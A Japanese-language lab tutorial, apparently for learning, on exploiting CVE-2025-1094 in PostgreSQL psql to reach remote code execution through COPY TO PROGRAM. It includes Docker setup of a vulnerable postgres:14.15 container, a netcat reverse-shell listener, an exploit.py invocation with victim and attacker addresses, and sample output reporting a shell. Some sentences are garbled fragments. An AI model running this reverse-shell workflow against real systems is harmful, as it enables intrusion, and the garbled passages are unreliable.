
# CVE-2025-1094を悪用するハンズオンラボ:PostgreSQL psqlのSQLインジェクションからCOPY TO PROGRAM経由のRCEへ、Dockerセットアップとリバースシェルペイロード付き
⚠️ 免責事項
このラボは教育および研究目的のみで提供されています。
ここで紹介する情報や技術を、所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。これらの手法を無断で使用すると、法律違反となり、重大な罰則が科せられる可能性があります。
CVE-2025-1094 は、PostgreSQL の対話型ツール psql に影響する重大な脆弱性であり、バージョン 14.15 以前で発見されました。
特定の条件下では、攻撃者が SQLインジェクション を実行し、リモートコード実行(RCE) につながる可能性があります。
この脆弱性は、psql における不正なUTF-8入力の不適切な処理に起因します。
検証が不十分なため、攻撃者は任意のSQLや !(シェルエスケープ)などのメタコマンドを注入でき、さらに COPY ... TO PROGRAM を悪用してシステムコマンドを実行することも可能です。
COPY TO PROGRAM/etc/passwd)psql を使用するソフトウェア(例:BeyondTrust PRA、Remote Support)は特に危険にさらされます。Dockerをインストールします:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Dockerグループの権限を適用するには、再起動またはログアウトして再ログインしてください。
Pythonと依存関係をインストールします:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ 攻撃者マシンと被害者マシン間のネットワーク接続を確認してください。
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
コンテナ起動後、以下のコマンドですべてが正常に動作していることを確認します:
1. PostgreSQLコンテナが実行中であることを確認します:
sudo docker ps
📌 ポート 5432 で待ち受けている vulnerable_postgres という名前のコンテナが表示されるはずです。
2. コンテナにアクセスしてデータベースを確認します:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
psql シェル内で以下を実行します:
SELECT * FROM users;
期待される出力:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
psql から終了します:
\q
✅ これで脆弱なPostgreSQLインスタンスが実行され、悪用の準備が整いました。
3. コンテナを再起動します
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM を悪用して任意のシェルコマンドを実行する💡 ヒント: この脆弱なコンテナをスナップショットとして保存し、環境を再構築せずに後で再利用できます。